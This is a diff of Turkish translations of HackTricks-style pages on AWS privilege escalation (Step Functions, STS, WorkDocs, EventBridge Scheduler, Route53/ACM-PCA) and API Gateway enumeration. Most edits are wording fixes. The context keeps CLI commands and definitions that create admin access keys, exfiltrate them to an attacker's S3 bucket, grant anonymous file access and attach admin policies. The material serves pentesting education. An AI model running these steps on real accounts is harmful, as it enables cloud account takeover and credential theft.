b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index cf0032a0f..a6d1d0bcf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -14,11 +14,11 @@ Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin: Bu ayrıcalık yükseltme teknikleri, istenen ayrıcalık yükseltme eylemlerini gerçekleştirmek için bazı AWS step function kaynaklarını kullanmayı gerektirecektir. -Tüm olası eylemleri kontrol etmek için kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri görebilirsiniz, örneğin: +Tüm olası eylemleri kontrol etmek için, kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri görebilirsiniz, örneğin:
-Ya da API AWS belgelerine gidip her eylem belgesini kontrol edebilirsiniz: +Ya da API AWS belgelerine gidip her eylemin belgelerini kontrol edebilirsiniz: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) @@ -29,7 +29,7 @@ Ya da API AWS belgelerine gidip her eylem belgesini kontrol edebilirsiniz: ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Aşağıdaki örnekler, bu izinleri ve AWS ortamının izinli rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu test etmenin nasıl olduğunu göstermektedir. Bu izinli rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**): +Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu nasıl test edeceğinizi göstermektedir. Bu izin veren rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**): - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ Aşağıdaki örnekler, bu izinleri ve AWS ortamının izinli rolünü kullanara "End": true } ``` -- **Komut** privesc gerçekleştirmek için çalıştırıldı: +- **Privesc** gerçekleştirmek için yürütülen **komut**: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -**`states:CreateStateMachine`** & **`iam:PassRole`** yetkisine sahip bir saldırgan, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleriyle yetkisiz erişim sağlar. Önceki privesc tekniğiyle (**`states:TestState`** & **`iam:PassRole`**) karşılaştırıldığında, bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için. +**`states:CreateStateMachine`** & **`iam:PassRole`** yetkisine sahip bir saldırgan, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleri ile yetkisiz erişim sağlar. Önceki yetki yükseltme tekniği ile karşılaştırıldığında (**`states:TestState`** & **`iam:PassRole`**), bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin verici rolünü kullanarak. Bu izin verici rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**). +Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin veren rolünü kullanarak. Bu izin veren rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**). - **stateMachineDefinition.json**: ```json @@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **Komut** daha önce oluşturulan durum makinesinin **çalıştırılmasını başlatmak** için yürütüldü: +- Daha önce oluşturulan durum makinesinin **çalıştırılmasını başlatmak** için yürütülen **komut**: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -132,7 +132,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> Saldırgan kontrolündeki S3 bucket, mağdur hesabından bir s3:PutObject eylemini kabul etmek için izinlere sahip olmalıdır. +> Saldırgan kontrolündeki S3 bucket, mağdur hesabından s3:PutObject eylemini kabul etmek için izinlere sahip olmalıdır. **Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir. @@ -140,10 +140,10 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 **`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir durum makinesinin tanımını değiştirebilir ve ayrıcalık yükseltmesine yol açabilecek ekstra gizli durumlar ekleyebilir. Bu şekilde, meşru bir kullanıcı durum makinesinin yürütmesini başlattığında, bu yeni kötü niyetli gizli durum yürütülecek ve ayrıcalık yükseltmesi başarılı olacaktır. -Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşacaktır: +Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşabilir: -1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımı yeterli olacaktır. -2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine de ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir. +1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımını güncellemek yeterlidir. +2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, potansiyel olarak önemli güvenlik ihlallerine yol açabilir. +**Potansiyel Etki**: Yetkisiz iş akışlarının yürütülmesi ve manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 1e57acf46..52b90f1b0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -27,10 +27,10 @@ Bir rolü taklit edebilirsiniz: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` -**Potansiyel Etki:** Rol için Privesc. +**Olası Etki:** Rol için Privesc. > [!CAUTION] -> Bu durumda, izin `sts:AssumeRole` **istismar edilecek rolde belirtilmelidir** ve saldırganın politikasında değil.\ +> Bu durumda `sts:AssumeRole` izninin **istismar edilecek rolde belirtilmesi gerektiğini** ve saldırganın politikasında olmaması gerektiğini unutmayın.\ > Bir istisna ile, **farklı bir hesaptan bir rolü üstlenmek için** saldırgan hesabının **aynı zamanda** rol üzerinde **`sts:AssumeRole`** iznine sahip olması **gerekir**. ### **`sts:GetFederationToken`** @@ -78,7 +78,7 @@ Bu izne sahip bir güven politikası örneği: ] } ``` -Genel olarak, rolü taklit etmek için kimlik bilgileri oluşturmak için şunları kullanabilirsiniz: +Genel olarak rolü taklit etmek için kimlik bilgileri oluşturmak için şunları kullanabilirsiniz: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` @@ -86,13 +86,13 @@ Ama **sağlayıcılar** bunu kolaylaştırmak için **kendi araçlarına** sahip ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` -**Olası Etki:** Rol için Privesc. +**Olası Etki:** Role yükselme. ### `sts:AssumeRoleWithWebIdentity` -Bu izin, **mobil, web uygulaması, EKS...** ile bir web kimlik sağlayıcısında kimlik doğrulaması yapılmış kullanıcılar için geçici güvenlik kimlik bilgileri seti alma izni verir. [Buradan daha fazla bilgi edinin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Bu izin, **mobil, web uygulaması, EKS...** içinde bir web kimlik sağlayıcısı ile kimlik doğrulaması yapılmış kullanıcılar için geçici güvenlik kimlik bilgileri seti elde etme izni verir. [Daha fazla bilgi edinin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) -Örneğin, eğer bir **EKS hizmet hesabı** bir **IAM rolünü taklit edebilmesi** gerekiyorsa, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olacak ve rolü **üstlenip kimlik bilgilerini alabilir**. +Örneğin, eğer bir **EKS hizmet hesabı** bir **IAM rolünü taklit edebilmesi** gerekiyorsa, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olacak ve rolü üstlenip kimlik bilgilerini elde edebilecektir. ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 7bb0425a1..07ed4d905 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,7 +15,7 @@ Belirtilen Dizin içinde bir kullanıcı oluşturun, ardından hem WorkDocs'a he # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` Dosyalar hassas bilgiler içerebilir, bunları okuyun: ```bash @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Eğer bir şeyi okumak için erişiminiz yoksa, onu sadece verebilirsiniz. +Eğer bir şeyi okumak için erişiminiz yoksa, sadece onu verebilirsiniz. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -38,9 +38,9 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -Bir kullanıcıyı ZOCALO_ADMIN grubuna ekleyerek admin yapabilirsiniz.\ +Bir kullanıcıyı admin yapmak için onu ZOCALO_ADMIN grubuna ekleyebilirsiniz.\ Bunun için [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) adresindeki talimatları izleyin. -O kullanıcıyla workdocs'a giriş yapın ve `/workdocs/index.html#/admin` adresinden admin paneline erişin. +Bu kullanıcıyla workdocs'a giriş yapın ve `/workdocs/index.html#/admin` adresinden admin paneline erişin. Bunu cli üzerinden yapmanın bir yolunu bulamadım. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index f3c46eea6..13aa13a13 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -Daha fazla bilgi için EventBridge Scheduler hakkında: +EventBridge Scheduler hakkında daha fazla bilgi için: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -14,7 +14,7 @@ Daha fazla bilgi için EventBridge Scheduler hakkında: Bu izinlere sahip bir saldırgan, **`oluştur`|`güncelle` bir zamanlayıcı ve ona bağlı zamanlayıcı rolünün izinlerini kötüye kullanarak herhangi bir eylemi gerçekleştirme** yeteneğine sahip olacaktır. -Örneğin, zamanlamayı **bir Lambda fonksiyonunu çağıracak şekilde yapılandırabilir** ki bu, şablonlanmış bir eylemdir: +Örneğin, zamanlamayı **bir Lambda fonksiyonunu çağıracak şekilde** yapılandırabilirler ki bu bir şablon eylemidir: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -EventBridge Scheduler'da şablonlu hizmet eylemlerine ek olarak, birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırmak üzere **evrensel hedefler** kullanabilirsiniz. Evrensel hedefler, neredeyse her API'yi çağırma esnekliği sunar. Bir örnek, "**putRolePolicy**" politikasına sahip bir rol kullanarak "**AdminAccessPolicy**" eklemek için evrensel hedeflerin kullanılabilir: +Şablonlu hizmet eylemlerine ek olarak, EventBridge Scheduler'da birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırmak üzere **evrensel hedefler** kullanabilirsiniz. Evrensel hedefler, neredeyse her API'yi çağırma esnekliği sunar. Bir örnek, "**AdminAccessPolicy**" eklemek için "**putRolePolicy**" politikasına sahip bir rol kullanmaktır: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 5caa21d5a..5ddea033b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -15,13 +15,13 @@ Route53 hakkında daha fazla bilgi için kontrol edin: Diğer izinler **enumeration** kısmı için önerilir ancak zorunlu değildir: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Birden fazla bulut yerel uygulamanın birbirleriyle ve AWS API ile iletişim kurduğu bir AWS VPC'sinin olduğunu varsayalım. Mikro hizmetler arasındaki iletişim genellikle TLS ile şifreli olduğundan, bu hizmetler için geçerli sertifikaları vermek üzere özel bir CA olmalıdır. **Bunun için ACM-PCA kullanılıyorsa** ve düşman **yukarıda tanımlanan minimum izin seti ile hem route53 hem de acm-pca özel CA'yı kontrol etme erişimi elde ederse**, AWS API'ye yapılan uygulama çağrılarını **ele geçirebilir** ve IAM izinlerini devralabilir. +Birden fazla bulut yerel uygulamanın birbirleriyle ve AWS API ile iletişim kurduğu bir AWS VPC'sinin olduğunu varsayalım. Mikro hizmetler arasındaki iletişim genellikle TLS ile şifreli olduğundan, bu hizmetler için geçerli sertifikaları vermek üzere bir özel CA'ya ihtiyaç vardır. **Eğer ACM-PCA kullanılıyorsa** ve düşman **route53 ve acm-pca özel CA'sını kontrol etme erişimine** minimum izin seti ile sahip olursa, **AWS API'ye yapılan uygulama çağrılarını ele geçirebilir** ve IAM izinlerini devralabilir. Bu mümkündür çünkü: - AWS SDK'ları [Sertifika Pinleme](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) özelliğine sahip değildir -- Route53, AWS API alan adları için Özel Barındırılan Alan ve DNS kayıtları oluşturulmasına izin verir -- ACM-PCA'daki Özel CA, yalnızca belirli Ortak İsimler için sertifikaları imzalamakla kısıtlanamaz +- Route53, AWS API'lerinin alan adları için Özel Barındırılan Alan ve DNS kayıtları oluşturulmasına izin verir +- ACM-PCA'daki Özel CA, yalnızca belirli Ortak İsimler için sertifika imzalamakla kısıtlanamaz **Olası Etki:** Trafikteki hassas bilgileri keserek dolaylı privesc. diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 52c40c4fa..ecacf1f11 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -9,11 +9,11 @@ Konteyner hizmetleri aşağıdaki özelliklere sahiptir: - Hizmet kendisi **ayrı altyapı örnekleri** üzerinde çalışır, örneğin EC2. -- **AWS**, **işletim sistemi ve platformun yönetiminden** sorumludur. -- AWS tarafından sağlanan yönetilen bir hizmet, genellikle **konteyner olarak görülen gerçek uygulama için** hizmetin kendisidir. +- **AWS**, **işletim sistemini ve platformu yönetmekten** sorumludur. +- AWS tarafından sağlanan yönetilen bir hizmet, genellikle **konteyner olarak görülen gerçek uygulama için hizmetin kendisidir**. - Bu konteyner hizmetlerinin bir kullanıcısı olarak, **ağ erişim güvenliği, ağ erişim kontrol listesi kuralları ve herhangi bir güvenlik duvarı gibi** bir dizi yönetim ve güvenlik sorumluluğunuz vardır. - Ayrıca, var olduğu yerde platform düzeyinde kimlik ve erişim yönetimi. -- **AWS** konteyner hizmetlerine örnekler arasında İlişkisel Veritabanı Hizmeti, Elastic Mapreduce ve Elastic Beanstalk bulunmaktadır. +- **AWS konteyner hizmetlerine** örnekler arasında İlişkisel Veritabanı Hizmeti, Elastic Mapreduce ve Elastic Beanstalk bulunmaktadır. ### Soyut Hizmetler @@ -26,6 +26,6 @@ Konteyner hizmetleri aşağıdaki özelliklere sahiptir: ## Hizmetlerin Sayımı -**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Burada hizmet hakkında bilgi bulabileceksiniz (nasıl çalıştığı ve yetenekleri) ve bu, yetkilerinizi artırmanıza olanak tanıyacaktır.** +**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Orada hizmet hakkında bilgi bulabileceksiniz (nasıl çalıştığı ve yetenekleri) ve bu, yetkileri artırmanıza olanak tanıyacaktır.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 2e8c23836..36b09b92e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -6,34 +6,34 @@ ### Temel Bilgiler -AWS API Gateway, geliştiricilerin **büyük ölçekli API'ler oluşturmasına, yayınlamasına ve denetlemesine** olanak tanıyan Amazon Web Services (AWS) tarafından sunulan kapsamlı bir hizmettir. Uygulamaya giriş noktası olarak işlev görür ve geliştiricilerin bir dizi kural ve prosedür belirlemesine izin verir. Bu çerçeve, dış kullanıcıların uygulama içindeki belirli verilere veya işlevlere erişimini yönetir. +AWS API Gateway, geliştiricilerin **büyük ölçekli API'ler oluşturmasına, yayınlamasına ve denetlemesine** olanak tanıyan Amazon Web Services (AWS) tarafından sunulan kapsamlı bir hizmettir. Uygulamaya bir giriş noktası olarak işlev görür ve geliştiricilerin bir dizi kural ve prosedür belirlemesine izin verir. Bu çerçeve, dış kullanıcıların uygulama içindeki belirli verilere veya işlevlere erişimini yönetir. -API Gateway, **API'lerinize gelen isteklerin nasıl işleneceğini tanımlamanıza** olanak tanır ve belirli yöntemler (örneğin, GET, POST, PUT, DELETE) ve kaynaklarla özel API uç noktaları oluşturabilir. Ayrıca, geliştiricilerin API'lerinizi uygulamalarından çağırmasını kolaylaştırmak için istemci SDK'ları (Yazılım Geliştirme Kitleri) oluşturabilir. +API Gateway, **API'lerinize gelen isteklerin nasıl işleneceğini tanımlamanıza** olanak tanır ve belirli yöntemler (örneğin, GET, POST, PUT, DELETE) ve kaynaklarla özel API uç noktaları oluşturabilir. Ayrıca, geliştiricilerin uygulamalarından API'lerinizi çağırmasını kolaylaştırmak için istemci SDK'ları (Yazılım Geliştirme Kitleri) oluşturabilir. ### API Gateway Türleri -- **HTTP API**: OIDC ve OAuth2 gibi yerleşik özellikler ve yerel CORS desteği ile düşük gecikmeli ve maliyet etkin REST API'leri oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP arka uçları. -- **WebSocket API**: Sohbet uygulamaları veya panolar gibi gerçek zamanlı kullanım senaryoları için kalıcı bağlantılar kullanarak bir WebSocket API'si oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri. +- **HTTP API**: OIDC ve OAuth2 gibi yerleşik özelliklere ve yerel CORS desteğine sahip düşük gecikme süresine ve maliyet etkin REST API'leri oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP arka uçları. +- **WebSocket API**: Sohbet uygulamaları veya panolar gibi gerçek zamanlı kullanım senaryoları için kalıcı bağlantılar kullanarak bir WebSocket API oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri. - **REST API**: İstek ve yanıt üzerinde tam kontrol elde ettiğiniz ve API yönetim yeteneklerine sahip bir REST API geliştirin. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri. -- **REST API Özel**: Sadece bir VPC içinden erişilebilen bir REST API oluşturun. +- **Özel REST API**: Sadece bir VPC içinden erişilebilen bir REST API oluşturun. ### API Gateway Ana Bileşenleri 1. **Kaynaklar**: API Gateway'de kaynaklar, **API'nizin yapısını oluşturan bileşenlerdir**. API'nizin **farklı yollarını veya uç noktalarını** temsil eder ve API'nizin desteklediği çeşitli eylemlerle ilişkilidir. Bir kaynak, her yolun (/, veya /users, veya /user/{id}) **içindeki her yöntemdir** (örneğin, GET, POST, PUT, DELETE). -2. **Aşamalar**: API Gateway'deki aşamalar, API'nizin **farklı sürümlerini veya ortamlarını** temsil eder, örneğin geliştirme, test veya üretim. Aşamaları, API'nizin **birden fazla sürümünü aynı anda yönetmek ve dağıtmak** için kullanabilirsiniz, bu da yeni özellikleri veya hata düzeltmelerini üretim ortamını etkilemeden test etmenizi sağlar. Aşamalar ayrıca, mevcut aşamaya göre API'nizin davranışını yapılandırmak için kullanılabilecek anahtar-değer çiftleri olan **aşama değişkenlerini** de **destekler**. Örneğin, aşama değişkenlerini kullanarak API isteklerini aşamaya bağlı olarak farklı Lambda işlevlerine veya diğer arka uç hizmetlerine yönlendirebilirsiniz. +2. **Aşamalar**: API Gateway'deki aşamalar, API'nizin **farklı sürümlerini veya ortamlarını** temsil eder; örneğin, geliştirme, test veya üretim. Aşamaları, API'nizin **birden fazla sürümünü aynı anda yönetmek ve dağıtmak** için kullanabilirsiniz; bu, yeni özellikleri veya hata düzeltmelerini üretim ortamını etkilemeden test etmenizi sağlar. Aşamalar ayrıca, mevcut aşamaya göre API'nizin davranışını yapılandırmak için kullanılabilecek anahtar-değer çiftleri olan **aşama değişkenlerini** de **destekler**. Örneğin, aşama değişkenlerini kullanarak API isteklerini aşamaya bağlı olarak farklı Lambda işlevlerine veya diğer arka uç hizmetlerine yönlendirebilirsiniz. - Aşama, API Gateway uç noktasının URL'sinin başında belirtilir. -3. **Yetkilendiriciler**: API Gateway'deki yetkilendiriciler, isteğin devam etmesine izin vermeden önce çağrının kimliğini doğrulayarak **API'nize erişimi kontrol etmekten** sorumludur. Kendi kimlik doğrulama ve yetkilendirme mantığınızı uygulamanıza olanak tanıyan özel yetkilendiriciler olarak **AWS Lambda işlevlerini** kullanabilirsiniz. Bir istek geldiğinde, API Gateway isteğin yetkilendirme jetonunu Lambda yetkilendiricisine iletir, bu da jetonu işler ve çağrının hangi eylemleri gerçekleştirmesine izin verildiğini belirleyen bir IAM politikası döner. API Gateway ayrıca **AWS Kimlik ve Erişim Yönetimi (IAM)** ve **Amazon Cognito** gibi **yerleşik yetkilendiricileri** de destekler. -4. **Kaynak Politikası**: API Gateway'deki bir kaynak politikası, **API'nize erişim için izinleri tanımlayan** bir JSON belgesidir. IAM politikasına benzer, ancak özellikle API Gateway için özelleştirilmiştir. Bir kaynak politikasını, API'nize kimin erişebileceğini, hangi yöntemleri çağırabileceklerini ve hangi IP adreslerinden veya VPC'lerden bağlanabileceklerini kontrol etmek için kullanabilirsiniz. **Kaynak politikaları, API'niz için ince ayar erişim kontrolü sağlamak üzere yetkilendiricilerle birleştirilebilir**. -- Değişikliklerin etkili olması için API'nin **kaynak politikası değiştirildikten sonra tekrar dağıtılması gerekir**. +3. **Yetkilendiriciler**: API Gateway'deki yetkilendiriciler, isteğin devam etmesine izin vermeden önce çağrının kimliğini doğrulayarak **API'nize erişimi kontrol etmekten** sorumludur. Kendi kimlik doğrulama ve yetkilendirme mantığınızı uygulamanıza olanak tanıyan özel yetkilendiriciler olarak **AWS Lambda işlevlerini** kullanabilirsiniz. Bir istek geldiğinde, API Gateway isteğin yetkilendirme jetonunu Lambda yetkilendiricisine iletir; bu, jetonu işler ve çağrının hangi eylemleri gerçekleştirmesine izin verildiğini belirleyen bir IAM politikası döner. API Gateway ayrıca, **AWS Kimlik ve Erişim Yönetimi (IAM)** ve **Amazon Cognito** gibi **yerleşik yetkilendiricileri** de destekler. +4. **Kaynak Politikası**: API Gateway'deki bir kaynak politikası, **API'nize erişim için izinleri tanımlayan** bir JSON belgesidir. IAM politikasına benzer, ancak özellikle API Gateway için özelleştirilmiştir. Bir kaynak politikasını, API'nize kimin erişebileceğini, hangi yöntemleri çağırabileceğini ve hangi IP adreslerinden veya VPC'lerden bağlanabileceğini kontrol etmek için kullanabilirsiniz. **Kaynak politikaları, API'niz için ince ayar erişim kontrolü sağlamak üzere yetkilendiricilerle birleştirilebilir**. +- Değişikliklerin etkili olabilmesi için API'nin **kaynak politikası değiştirildikten sonra tekrar dağıtılması gerekir**. ### Günlükleme -Varsayılan olarak, **CloudWatch Günlükleri** **kapalıdır**, **Erişim Günlüğü** **kapalıdır** ve **X-Ray izleme** de **kapalıdır**. +Varsayılan olarak, **CloudWatch Logs** **kapalıdır**, **Erişim Günlüğü** **kapalıdır** ve **X-Ray izleme** de **kapalıdır**. ### Sayım > [!TIP] -> Hem AWS API'lerinde kaynakları saymak için (**`apigateway`** ve **`apigatewayv2`**) tek ihtiyacınız olan izin ve verilebilecek tek okuma izni **`apigateway:GET`**'dir, bununla **her şeyi sayabilirsiniz.** +> Hem **`apigateway`** hem de **`apigatewayv2`** AWS API'lerinde kaynakları saymak için tek ihtiyacınız olan izin ve verilebilecek tek okuma izni **`apigateway:GET`**'dir; bununla **her şeyi sayabilirsiniz.** {{#tabs }} {{#tab name="apigateway" }} @@ -129,7 +129,7 @@ https://.execute-api..amazonaws.com// ### Kaynak Politikası API uç noktalarını kimin çağırabileceğini tanımlamak için kaynak politikaları kullanmak mümkündür.\ 